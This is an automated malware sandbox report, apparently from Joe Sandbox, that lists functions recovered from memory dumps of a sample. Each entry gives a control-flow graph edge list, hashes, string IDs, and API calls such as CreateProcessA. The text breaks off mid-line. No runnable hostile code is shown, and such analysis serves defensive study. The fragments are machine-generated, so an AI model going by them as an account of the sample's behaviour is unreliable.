                                  Function 064A4C29 Relevance: 12.7, Strings: 10, Instructions: 247COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 462 64a4c29 463 64a4c2e-64a4c31 462->463 464 64a4c43-64a4c47 463->464 465 64a4c33 463->465 477 64a4c6a 464->477 478 64a4c49-64a4c52 464->478 465->464 466 64a4d1a-64a4d2d 465->466 467 64a4dab-64a4dbe 465->467 468 64a4f48-64a4f5c 465->468 469 64a4e19-64a4e1e 465->469 470 64a4e6e-64a4e81 465->470 471 64a4f5f-64a4f68 465->471 472 64a4e23-64a4e2b 465->472 473 64a4e30-64a4e43 465->473 474 64a4ee7-64a4f11 465->474 475 64a4d77-64a4d90 465->475 476 64a4e67-64a4e69 465->476 501 64a4d2f-64a4d41 466->501 502 64a4d43 466->502 481 64a4f92-64a4f97 467->481 500 64a4dc4-64a4dd9 467->500 469->463 495 64a4e83-64a4e8c 470->495 496 64a4ea4 470->496 480 64a4f6a-64a4f81 471->480 471->481 472->463 503 64a4e60-64a4e65 473->503 504 64a4e45-64a4e4c 473->504 533 64a4f2a-64a4f31 474->533 534 64a4f13-64a4f1a 474->534 508 64a4d9b-64a4da6 475->508 476->463 479 64a4c6d-64a4c6f 477->479 482 64a4c59-64a4c66 478->482 483 64a4c54-64a4c57 478->483 486 64a4c71-64a4c77 479->486 487 64a4c87-64a4ca4 479->487 480->481 489 64a4f83-64a4f8f 480->489 494 64a4c68 482->494 483->494 497 64a4c7b-64a4c85 486->497 498 64a4c79 486->498 517 64a4ca6-64a4caf 487->517 518 64a4cc7 487->518 494->479 506 64a4e8e-64a4e91 495->506 507 64a4e93-64a4ea0 495->507 510 64a4ea7-64a4eb3 496->510 497->487 498->487 524 64a4deb 500->524 525 64a4ddb-64a4de9 500->525 512 64a4d46-64a4d72 501->512 502->512 514 64a4e5b 503->514 504->481 513 64a4e52-64a4e56 504->513 515 64a4ea2 506->515 507->515 508->463 530 64a4ecb-64a4ed5 510->530 531 64a4eb5-64a4ebb 510->531 512->463 513->514 514->463 515->510 521 64a4cb1-64a4cb4 517->521 522 64a4cb6-64a4cc3 517->522 526 64a4cca-64a4cf3 call 64a5dee 518->526 529 64a4cc5 521->529 522->529 532 64a4ded-64a4def 524->532 525->532 549 64a4cf9-64a4d03 526->549 529->526 530->481 541 64a4edb-64a4ee2 530->541 537 64a4ebf-64a4ec1 531->537 538 64a4ebd 531->538 539 64a4e09-64a4e12 532->539 540 64a4df1-64a4df7 532->540 533->481 544 64a4f33-64a4f3e 533->544 534->481 543 64a4f1c-64a4f20 534->543 537->530 538->530 539->469 545 64a4dfb-64a4e07 540->545 546 64a4df9 540->546 541->463 547 64a4f25 543->547 544->481 548 64a4f40-64a4f46 544->548 545->539 546->539 547->463 548->547 549->481 551 64a4d09-64a4d15 549->551 551->463
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1293685238.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_64a0000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: Teq$Teq$XXq$XXq$$q$$q$$q$$q$$q$$q
                                  • API String ID: 0-2030242912
                                  • Opcode ID: 199a14a39ddb2e35d565fee04569b72e65d8950397e54a0abc634091a0b9d7df
                                  • Instruction ID: 23cde4a5ba2f12cc2439fe1b8d2071d6ed8fee06be5d827d16014e0a1ecab172
                                  • Opcode Fuzzy Hash: 199a14a39ddb2e35d565fee04569b72e65d8950397e54a0abc634091a0b9d7df
                                  • Instruction Fuzzy Hash: 68918E30E00319EFEB65DF94D945A6EB7F2BB94701F298516E406AF395CAB0DC42CB90
                                  Function 064A8AD0 Relevance: 7.7, Strings: 6, Instructions: 202COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 553 64a8ad0-64a8b00 554 64a8b22-64a8b27 553->554 555 64a8b02-64a8b05 554->555 556 64a8b0e-64a8b20 555->556 557 64a8b07 555->557 556->555 557->554 557->556 558 64a8b29 557->558 559 64a8b6e-64a8b70 557->559 560 64a8c2f-64a8c33 557->560 561 64a8d0f-64a8d14 557->561 562 64a8bed-64a8bf2 557->562 563 64a8ca3-64a8ca5 557->563 564 64a8b45-64a8b48 557->564 565 64a8b9a-64a8ba1 557->565 566 64a8cf8-64a8cfc 557->566 567 64a8bb8-64a8bc2 557->567 568 64a8d19-64a8d3f 557->568 569 64a8c99-64a8c9e 557->569 570 64a8c7e-64a8c85 557->570 571 64a8b3e-64a8b43 557->571 572 64a8c5f-64a8c69 557->572 573 64a8bf7-64a8c0d 557->573 574 64a8d74-64a8d7d 557->574 580 64a8b2c-64a8b2e 558->580 587 64a8b8e 559->587 588 64a8b72-64a8b78 559->588 575 64a8c54 560->575 576 64a8c35-64a8c3e 560->576 561->555 562->555 584 64a8cc3 563->584 585 64a8ca7-64a8cad 563->585 578 64a8d8c 564->578 586 64a8b4e-64a8b58 564->586 582 64a8d91-64a8d9b 565->582 591 64a8ba7-64a8bb3 565->591 589 64a8d08-64a8d0d 566->589 590 64a8cfe 566->590 567->582 592 64a8bc8-64a8bd9 567->592 623 64a8d41 568->623 624 64a8d44-64a8d4e 568->624 569->555 570->582 583 64a8c8b-64a8c94 570->583 571->555 581 64a8c6f-64a8c79 572->581 572->582 573->580 616 64a8c13-64a8c1d 573->616 577 64a8d7f-64a8d87 574->577 574->578 605 64a8c57-64a8c5e 575->605 593 64a8c40-64a8c43 576->593 594 64a8c45-64a8c48 576->594 577->555 578->582 597 64a8b30 580->597 598 64a8b37-64a8b3c 580->598 581->555 583->555 595 64a8cc5-64a8ce4 584->595 600 64a8caf-64a8cb1 585->600 601 64a8cb3-64a8cbf 585->601 586->582 602 64a8b5e-64a8b67 586->602 596 64a8b90-64a8b94 call 64a9399 587->596 603 64a8b7a-64a8b7c 588->603 604 64a8b7e-64a8b8a 588->604 589->561 599 64a8d03 589->599 590->599 591->555 592->582 607 64a8bdf-64a8be8 592->607 609 64a8c52 593->609 594->609 595->582 622 64a8cea-64a8cf3 595->622 596->565 610 64a8b35 597->610 598->571 598->610 599->555 611 64a8cc1 600->611 601->611 612 64a8b69 602->612 613 64a8b6c 602->613 614 64a8b8c 603->614 604->614 607->555 609->605 610->555 611->595 612->613 613->555 614->596 616->582 617 64a8c23-64a8c2a 616->617 617->555 622->555 623->624 625 64a8d50-64a8d52 624->625 626 64a8d54 624->626 627 64a8d57-64a8d69 625->627 626->627 627->582 629 64a8d6b-64a8d6f 627->629 629->555
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1293685238.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_64a0000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: LRq$LRq$LRq$LRq$$q$$q
                                  • API String ID: 0-108259318
                                  • Opcode ID: 9025596e3c7759df362f539366ab0668feb05f3450062340d2841ed17094fdfe
                                  • Instruction ID: 705e11dcaf704b8e21a6cc5f8552189a5e731748e43b6e3ee6daac16f3767993
                                  • Opcode Fuzzy Hash: 9025596e3c7759df362f539366ab0668feb05f3450062340d2841ed17094fdfe
                                  • Instruction Fuzzy Hash: 6A718EB1E04314EFEB958F68C5457BEBBF1FB64701F08826BE596AB381C6348845CB91
                                  Function 064A8AC3 Relevance: 3.9, Strings: 3, Instructions: 182COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 631 64a8ac3-64a8b00 634 64a8b22-64a8b27 631->634 635 64a8b02-64a8b05 634->635 636 64a8b0e-64a8b20 635->636 637 64a8b07 635->637 636->635 637->634 637->636 638 64a8b29 637->638 639 64a8b6e-64a8b70 637->639 640 64a8c2f-64a8c33 637->640 641 64a8d0f-64a8d14 637->641 642 64a8bed-64a8bf2 637->642 643 64a8ca3-64a8ca5 637->643 644 64a8b45-64a8b48 637->644 645 64a8b9a-64a8ba1 637->645 646 64a8cf8-64a8cfc 637->646 647 64a8bb8-64a8bc2 637->647 648 64a8d19-64a8d3f 637->648 649 64a8c99-64a8c9e 637->649 650 64a8c7e-64a8c85 637->650 651 64a8b3e-64a8b43 637->651 652 64a8c5f-64a8c69 637->652 653 64a8bf7-64a8c0d 637->653 654 64a8d74-64a8d7d 637->654 660 64a8b2c-64a8b2e 638->660 667 64a8b8e 639->667 668 64a8b72-64a8b78 639->668 655 64a8c54 640->655 656 64a8c35-64a8c3e 640->656 641->635 642->635 664 64a8cc3 643->664 665 64a8ca7-64a8cad 643->665 658 64a8d8c 644->658 666 64a8b4e-64a8b58 644->666 662 64a8d91-64a8d9b 645->662 671 64a8ba7-64a8bb3 645->671 669 64a8d08-64a8d0d 646->669 670 64a8cfe 646->670 647->662 672 64a8bc8-64a8bd9 647->672 703 64a8d41 648->703 704 64a8d44-64a8d4e 648->704 649->635 650->662 663 64a8c8b-64a8c94 650->663 651->635 661 64a8c6f-64a8c79 652->661 652->662 653->660 696 64a8c13-64a8c1d 653->696 657 64a8d7f-64a8d87 654->657 654->658 685 64a8c57-64a8c5e 655->685 673 64a8c40-64a8c43 656->673 674 64a8c45-64a8c48 656->674 657->635 658->662 677 64a8b30 660->677 678 64a8b37-64a8b3c 660->678 661->635 663->635 675 64a8cc5-64a8ce4 664->675 680 64a8caf-64a8cb1 665->680 681 64a8cb3-64a8cbf 665->681 666->662 682 64a8b5e-64a8b67 666->682 676 64a8b90-64a8b94 call 64a9399 667->676 683 64a8b7a-64a8b7c 668->683 684 64a8b7e-64a8b8a 668->684 669->641 679 64a8d03 669->679 670->679 671->635 672->662 687 64a8bdf-64a8be8 672->687 689 64a8c52 673->689 674->689 675->662 702 64a8cea-64a8cf3 675->702 676->645 690 64a8b35 677->690 678->651 678->690 679->635 691 64a8cc1 680->691 681->691 692 64a8b69 682->692 693 64a8b6c 682->693 694 64a8b8c 683->694 684->694 687->635 689->685 690->635 691->675 692->693 693->635 694->676 696->662 697 64a8c23-64a8c2a 696->697 697->635 702->635 703->704 705 64a8d50-64a8d52 704->705 706 64a8d54 704->706 707 64a8d57-64a8d69 705->707 706->707 707->662 709 64a8d6b-64a8d6f 707->709 709->635
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1293685238.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_64a0000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: LRq$LRq$$q
                                  • API String ID: 0-3129049701
                                  • Opcode ID: 12f5ab825f262ad496830aa65e4850aea4032ef0d5a42ae637ded4e968325140
                                  • Instruction ID: 1bba61f327c3237345095535becd568fdccabfc903fa2854326d305d4f70ecde
                                  • Opcode Fuzzy Hash: 12f5ab825f262ad496830aa65e4850aea4032ef0d5a42ae637ded4e968325140
                                  • Instruction Fuzzy Hash: 48616DB1E04314EFEB95CF68C445BBEBBF1EB64301F088267E595AB291C3349845CB91
                                  Function 064A361C Relevance: 2.7, Strings: 2, Instructions: 211COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 776 64a361c-64a363a 780 64a363f-64a3642 776->780 781 64a364b-64a365a 780->781 782 64a3644 780->782 805 64a365c 781->805 806 64a3663-64a366a 781->806 782->781 783 64a37ab-64a381b 782->783 784 64a3989-64a3990 782->784 785 64a36ce-64a36d2 782->785 786 64a387f-64a3883 782->786 787 64a36ac 782->787 788 64a3840-64a385f 782->788 789 64a3836-64a383b 782->789 790 64a3944-64a395b 782->790 791 64a36a5-64a36aa 782->791 792 64a3675-64a3679 782->792 851 64a381d-64a3823 783->851 852 64a3833 783->852 797 64a36d4-64a36dd 785->797 798 64a36f5 785->798 799 64a38a6 786->799 800 64a3885-64a388e 786->800 796 64a36b9-64a36bc 787->796 867 64a3864 call 64ab548 788->867 868 64a3864 call 64ab5d8 788->868 869 64a3864 call 64ab590 788->869 870 64a3864 call 64aa4c4 788->870 871 64a3864 call 64aa4a4 788->871 872 64a3864 call 64aa4b4 788->872 789->796 831 64a395d-64a3963 790->831 832 64a3973-64a397b call 64acef8 790->832 791->780 794 64a367b-64a3684 792->794 795 64a369c 792->795 807 64a368b-64a3698 794->807 808 64a3686-64a3689 794->808 813 64a369f 795->813 796->785 814 64a36be 796->814 801 64a36df-64a36e2 797->801 802 64a36e4-64a36f1 797->802 811 64a36f8-64a377e call 64a89ea 798->811 815 64a38a9-64a390e 799->815 803 64a3890-64a3893 800->803 804 64a3895-64a38a2 800->804 816 64a36f3 801->816 802->816 817 64a38a4 803->817 804->817 818 64a3661 805->818 819 64a36af-64a36b4 806->819 820 64a366c-64a3673 806->820 821 64a369a 807->821 808->821 858 64a3784-64a3786 811->858 813->791 814->783 814->784 814->785 814->786 814->788 814->789 814->790 857 64a3914-64a392d 815->857 816->811 817->815 818->780 819->796 820->792 820->818 821->813 834 64a3967-64a3969 831->834 835 64a3965 831->835 844 64a3982-64a3984 832->844 834->832 835->832 836 64a386a-64a386c call 64abf3f 841 64a3872-64a387a 836->841 841->796 844->796 853 64a3827-64a3829 851->853 854 64a3825 851->854 852->789 853->852 854->852 857->819 864 64a3933-64a393f 857->864 859 64a3788-64a378e 858->859 860 64a379e-64a37a6 858->860 862 64a3792-64a3794 859->862 863 64a3790 859->863 860->796 862->860 863->860 864->796 867->836 868->836 869->836 870->836 871->836 872->836
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1293685238.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_64a0000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: $q$$q
                                  • API String ID: 0-3126353813
                                  • Opcode ID: cb3532626f98eb993fcf84642ba4be5b2e36757d79e3429c4ec07c0ac64cb77f
                                  • Instruction ID: 7bcb84deb9e95e397ed5b442034ca1a65d984fb21f544f8c819e627e390ee89b
                                  • Opcode Fuzzy Hash: cb3532626f98eb993fcf84642ba4be5b2e36757d79e3429c4ec07c0ac64cb77f
                                  • Instruction Fuzzy Hash: 7B718534F40304EFEB669F64D9197AE76A3EB94710F149026E502EB384DB748D42CB91
                                  Function 064A36C5 Relevance: 2.7, Strings: 2, Instructions: 183COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 874 64a36c5-64a36cc 875 64a36ce-64a36d2 874->875 876 64a36b4 874->876 878 64a36d4-64a36dd 875->878 879 64a36f5 875->879 877 64a36b9-64a36bc 876->877 877->875 883 64a36be 877->883 880 64a36df-64a36e2 878->880 881 64a36e4-64a36f1 878->881 882 64a36f8-64a377e call 64a89ea 879->882 884 64a36f3 880->884 881->884 928 64a3784-64a3786 882->928 883->875 885 64a37ab-64a381b 883->885 886 64a3989-64a3990 883->886 887 64a387f-64a3883 883->887 888 64a3840-64a385f 883->888 889 64a3836-64a383b 883->889 890 64a3944-64a395b 883->890 884->882 929 64a381d-64a3823 885->929 930 64a3833 885->930 893 64a38a6 887->893 894 64a3885-64a388e 887->894 945 64a3864 call 64ab548 888->945 946 64a3864 call 64ab5d8 888->946 947 64a3864 call 64ab590 888->947 948 64a3864 call 64aa4c4 888->948 949 64a3864 call 64aa4a4 888->949 950 64a3864 call 64aa4b4 888->950 889->877 909 64a395d-64a3963 890->909 910 64a3973-64a397b call 64acef8 890->910 900 64a38a9-64a390e 893->900 895 64a3890-64a3893 894->895 896 64a3895-64a38a2 894->896 901 64a38a4 895->901 896->901 938 64a3914-64a392d 900->938 901->900 913 64a3967-64a3969 909->913 914 64a3965 909->914 922 64a3982-64a3984 910->922 913->910 914->910 915 64a386a-64a386c call 64abf3f 920 64a3872-64a387a 915->920 920->877 922->877 931 64a3788-64a378e 928->931 932 64a379e-64a37a6 928->932 933 64a3827-64a3829 929->933 934 64a3825 929->934 930->889 936 64a3792-64a3794 931->936 937 64a3790 931->937 932->877 933->930 934->930 936->932 937->932 940 64a36af 938->940 941 64a3933-64a393f 938->941 940->876 941->877 945->915 946->915 947->915 948->915 949->915 950->915
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1293685238.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_64a0000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: $q$$q
                                  • API String ID: 0-3126353813
                                  • Opcode ID: bb2abb3bd9d24361323513877cf625e88afec49c77abaf9c8ef12abaadd16b01
                                  • Instruction ID: da35ceb946dcedb3a2c8d30bf04d646f93afa00bfb4435084b0f0f61235c86ef
                                  • Opcode Fuzzy Hash: bb2abb3bd9d24361323513877cf625e88afec49c77abaf9c8ef12abaadd16b01
                                  • Instruction Fuzzy Hash: FE618434F40304EFEB659F64D919BAE76A3EB94710F14802AF502E7384DA748D42CB90
                                  Function 079366F4 Relevance: 1.7, APIs: 1, Instructions: 245processCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 951 79366f4-7936795 953 7936797-79367a1 951->953 954 79367ce-79367ee 951->954 953->954 955 79367a3-79367a5 953->955 961 79367f0-79367fa 954->961 962 7936827-7936856 954->962 956 79367a7-79367b1 955->956 957 79367c8-79367cb 955->957 959 79367b3 956->959 960 79367b5-79367c4 956->960 957->954 959->960 960->960 963 79367c6 960->963 961->962 964 79367fc-79367fe 961->964 970 7936858-7936862 962->970 971 793688f-7936949 CreateProcessA 962->971 963->957 966 7936821-7936824 964->966 967 7936800-793680a 964->967 966->962 968 793680e-793681d 967->968 969 793680c 967->969 968->968 972 793681f 968->972 969->968 970->971 973 7936864-7936866 970->973 982 7936952-79369d8 971->982 983 793694b-7936951 971->983 972->966 975 7936889-793688c 973->975 976 7936868-7936872 973->976 975->971 977 7936876-7936885 976->977 978 7936874 976->978 977->977 980 7936887 977->980 978->977 980->975 993 79369da-79369de 982->993 994 79369e8-79369ec 982->994 983->982 993->994 995 79369e0 993->995 996 79369ee-79369f2 994->996 997 79369fc-7936a00 994->997 995->994 996->997 1000 79369f4 996->1000 998 7936a02-7936a06 997->998 999 7936a10-7936a14 997->999 998->999 1001 7936a08 998->1001 1002 7936a26-7936a2d 999->1002 1003 7936a16-7936a1c 999->1003 1000->997 1001->999 1004 7936a44 1002->1004 1005 7936a2f-7936a3e 1002->1005 1003->1002 1007 7936a45 1004->1007 1005->1004 1007->1007
                                  APIs
                                  • CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 07936936
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1294184947.0000000007930000.00000040.00000800.00020000.00000000.sdmp, Offset: 07930000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_7930000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID: CreateProcess
                                  • String ID:
                                  • API String ID: 963392458-0
                                  • Opcode ID: e3f3c2744f026f63f5d34478a0ec83f9f396397129ceb3107ff06b2bc4d1602c
                                  • Instruction ID: c768d2b8f60518b338db9ecd940f133b580bad348b82a055dfce2f05829d7c74
                                  • Opcode Fuzzy Hash: e3f3c2744f026f63f5d34478a0ec83f9f396397129ceb3107ff06b2bc4d1602c
                                  • Instruction Fuzzy Hash: 93914AB1D0031ADFEB24CF68C941BEDBBB6BF48314F1485AAD849A7240DB749985CF91
                                  Function 07936700 Relevance: 1.7, APIs: 1, Instructions: 243processCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 1008 7936700-7936795 1010 7936797-79367a1 1008->1010 1011 79367ce-79367ee 1008->1011 1010->1011 1012 79367a3-79367a5 1010->1012 1018 79367f0-79367fa 1011->1018 1019 7936827-7936856 1011->1019 1013 79367a7-79367b1 1012->1013 1014 79367c8-79367cb 1012->1014 1016 79367b3 1013->1016 1017 79367b5-79367c4 1013->1017 1014->1011 1016->1017 1017->1017 1020 79367c6 1017->1020 1018->1019 1021 79367fc-79367fe 1018->1021 1027 7936858-7936862 1019->1027 1028 793688f-7936949 CreateProcessA 1019->1028 1020->1014 1023 7936821-7936824 1021->1023 1024 7936800-793680a 1021->1024 1023->1019 1025 793680e-793681d 1024->1025 1026 793680c 1024->1026 1025->1025 1029 793681f 1025->1029 1026->1025 1027->1028 1030 7936864-7936866 1027->1030 1039 7936952-79369d8 1028->1039 1040 793694b-7936951 1028->1040 1029->1023 1032 7936889-793688c 1030->1032 1033 7936868-7936872 1030->1033 1032->1028 1034 7936876-7936885 1033->1034 1035 7936874 1033->1035 1034->1034 1037 7936887 1034->1037 1035->1034 1037->1032 1050 79369da-79369de 1039->1050 1051 79369e8-79369ec 1039->1051 1040->1039 1050->1051 1052 79369e0 1050->1052 1053 79369ee-79369f2 1051->1053 1054 79369fc-7936a00 1051->1054 1052->1051 1053->1054 1057 79369f4 1053->1057 1055 7936a02-7936a06 1054->1055 1056 7936a10-7936a14 1054->1056 1055->1056 1058 7936a08 1055->1058 1059 7936a26-7936a2d 1056->1059 1060 7936a16-7936a1c 1056->1060 1057->1054 1058->1056 1061 7936a44 1059->1061 1062 7936a2f-7936a3e 1059->1062 1060->1059 1064 7936a45 1061->1064 1062->1061 1064->1064
                                  APIs
                                  • CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 07936936
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1294184947.0000000007930000.00000040.00000800.00020000.00000000.sdmp, Offset: 07930000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_7930000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID: CreateProcess
                                  • String ID:
                                  • API String ID: 963392458-0
                                  • Opcode ID: aa7c4dd7c72364a93fe2700aafb9a5f02231e37b932b6cd35ee376a711907abd
                                  • Instruction ID: d67bc6dbb8df82ad25da85b2dafdee464deb0c166d324a799544e2257656292e
                                  • Opcode Fuzzy Hash: aa7c4dd7c72364a93fe2700aafb9a5f02231e37b932b6cd35ee376a711907abd
                                  • Instruction Fuzzy Hash: C3914CB1D00319DFEB24DF69C841BEDBBB6BF48314F1485A9D809A7240DB749985CF91
                                  Function 02FAB280 Relevance: 1.7, APIs: 1, Instructions: 196COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 1065 2fab280-2fab28f 1066 2fab2bb-2fab2bf 1065->1066 1067 2fab291-2fab29e call 2fa8ef4 1065->1067 1069 2fab2d3-2fab314 1066->1069 1070 2fab2c1-2fab2cb 1066->1070 1072 2fab2a0-2fab2ae call 2fab518 1067->1072 1073 2fab2b4 1067->1073 1076 2fab321-2fab32f 1069->1076 1077 2fab316-2fab31e 1069->1077 1070->1069 1072->1073 1083 2fab3f0-2fab4b0 1072->1083 1073->1066 1078 2fab353-2fab355 1076->1078 1079 2fab331-2fab336 1076->1079 1077->1076 1084 2fab358-2fab35f 1078->1084 1081 2fab338-2fab33f call 2faa348 1079->1081 1082 2fab341 1079->1082 1086 2fab343-2fab351 1081->1086 1082->1086 1115 2fab4b8-2fab4e3 GetModuleHandleW 1083->1115 1116 2fab4b2-2fab4b5 1083->1116 1087 2fab36c-2fab373 1084->1087 1088 2fab361-2fab369 1084->1088 1086->1084 1090 2fab380-2fab389 call 2faa358 1087->1090 1091 2fab375-2fab37d 1087->1091 1088->1087 1096 2fab38b-2fab393 1090->1096 1097 2fab396-2fab39b 1090->1097 1091->1090 1096->1097 1098 2fab3b9-2fab3c6 1097->1098 1099 2fab39d-2fab3a4 1097->1099 1106 2fab3c8-2fab3e6 1098->1106 1107 2fab3e9-2fab3ef 1098->1107 1099->1098 1101 2fab3a6-2fab3b6 call 2faa368 call 2faa378 1099->1101 1101->1098 1106->1107 1117 2fab4ec-2fab500 1115->1117 1118 2fab4e5-2fab4eb 1115->1118 1116->1115 1118->1117
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1286136587.0000000002FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FA0000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_2fa0000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID: HandleModule
                                  • String ID:
                                  • API String ID: 4139908857-0
                                  • Opcode ID: 98d16dae9cdcd61cb85111fdba072e51f6b4d8e77ec55482cf187c2d55ed2c26
                                  • Instruction ID: 8b24283da29907b3d18811188cd0edc671e3efa4d79212904d73811c4694d511
                                  • Opcode Fuzzy Hash: 98d16dae9cdcd61cb85111fdba072e51f6b4d8e77ec55482cf187c2d55ed2c26
                                  • Instruction Fuzzy Hash: 4B7156B0A00B058FD724CF6AD45476ABBF1FF88348F00892ED58AD7A40D775E949CB91
                                  Function 02FA45B8 Relevance: 1.6, APIs: 1, Instructions: 96COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 1121 2fa45b8-2fa5b19 CreateActCtxA 1124 2fa5b1b-2fa5b21 1121->1124 1125 2fa5b22-2fa5b7c 1121->1125 1124->1125 1132 2fa5b8b-2fa5b8f 1125->1132 1133 2fa5b7e-2fa5b81 1125->1133 1134 2fa5ba0 1132->1134 1135 2fa5b91-2fa5b9d 1132->1135 1133->1132 1137 2fa5ba1 1134->1137 1135->1134 1137->1137
                                  APIs
                                  • CreateActCtxA.KERNEL32(?), ref: 02FA5B09
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1286136587.0000000002FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FA0000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_2fa0000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID: Create
                                  • String ID:
                                  • API String ID: 2289755597-0
                                  • Opcode ID: c269939bf41d0663f82fd27c55ef6683cef3ce45f1b4778ffa85ca7703e8edcc
                                  • Instruction ID: 6a834a20e476f2e68f731d0c2b1babb07a70ae944a4b3db8e03f92c248d79c30
                                  • Opcode Fuzzy Hash: c269939bf41d0663f82fd27c55ef6683cef3ce45f1b4778ffa85ca7703e8edcc
                                  • Instruction Fuzzy Hash: EB41DFB0D0171DCFEB24CFA9C884B8EBBB5BF49344F60806AD508AB255DB756946CF90
                                  Function 02FA5A4C Relevance: 1.6, APIs: 1, Instructions: 96COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 1139 2fa5a4c-2fa5b19 CreateActCtxA 1141 2fa5b1b-2fa5b21 1139->1141 1142 2fa5b22-2fa5b7c 1139->1142 1141->1142 1149 2fa5b8b-2fa5b8f 1142->1149 1150 2fa5b7e-2fa5b81 1142->1150 1151 2fa5ba0 1149->1151 1152 2fa5b91-2fa5b9d 1149->1152 1150->1149 1154 2fa5ba1 1151->1154 1152->1151 1154->1154
                                  APIs
                                  • CreateActCtxA.KERNEL32(?), ref: 02FA5B09
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1286136587.0000000002FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FA0000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_2fa0000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID: Create
                                  • String ID:
                                  • API String ID: 2289755597-0
                                  • Opcode ID: 7bc8d1e1f971077df8d606b68ab0b8ca788090850f978860be72face549bfe06
                                  • Instruction ID: 3d7dd7129a9021874fcfb5f3eafb1124c95dfefca5352781c8c63ba680770350
                                  • Opcode Fuzzy Hash: 7bc8d1e1f971077df8d606b68ab0b8ca788090850f978860be72face549bfe06
                                  • Instruction Fuzzy Hash: 4541DFB1C01718CFEB24CFA9C884B8EBBB5BF48344F60805AD408AB255DB756946CF90
                                  Function 064A7608 Relevance: 1.6, Strings: 1, Instructions: 323COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 1156 64a7608-64a7633 1157 64a7638-64a763b 1156->1157 1158 64a7792-64a7794 1157->1158 1159 64a7641 1157->1159 1261 64a7799 call 64a7608 1158->1261 1262 64a7799 call 64a7603 1158->1262 1263 64a7799 call 64a7917 1158->1263 1159->1158 1160 64a77eb-64a7802 1159->1160 1161 64a7648 1159->1161 1162 64a766e-64a7673 1159->1162 1163 64a774d-64a7752 1159->1163 1164 64a77e1-64a77e6 1159->1164 1165 64a7807-64a780d 1159->1165 1166 64a7784-64a786e 1159->1166 1167 64a777a-64a777f 1159->1167 1168 64a781a-64a782b 1159->1168 1169 64a76db-64a76ef 1159->1169 1170 64a77b8-64a77d1 1159->1170 1171 64a7858-64a785f 1159->1171 1172 64a7739-64a773d 1159->1172 1173 64a7812-64a7819 1159->1173 1174 64a7691-64a76a2 1159->1174 1175 64a7757-64a775b 1159->1175 1176 64a7675-64a767f 1159->1176 1160->1157 1183 64a764b-64a764d 1161->1183 1162->1157 1163->1157 1164->1157 1165->1157 1166->1164 1167->1157 1177 64a7873-64a7881 1168->1177 1184 64a782d-64a7833 1168->1184 1169->1177 1178 64a76f5-64a76fb 1169->1178 1170->1183 1198 64a77d7-64a77dc 1170->1198 1171->1176 1172->1168 1179 64a7743-64a7748 1172->1179 1174->1177 1186 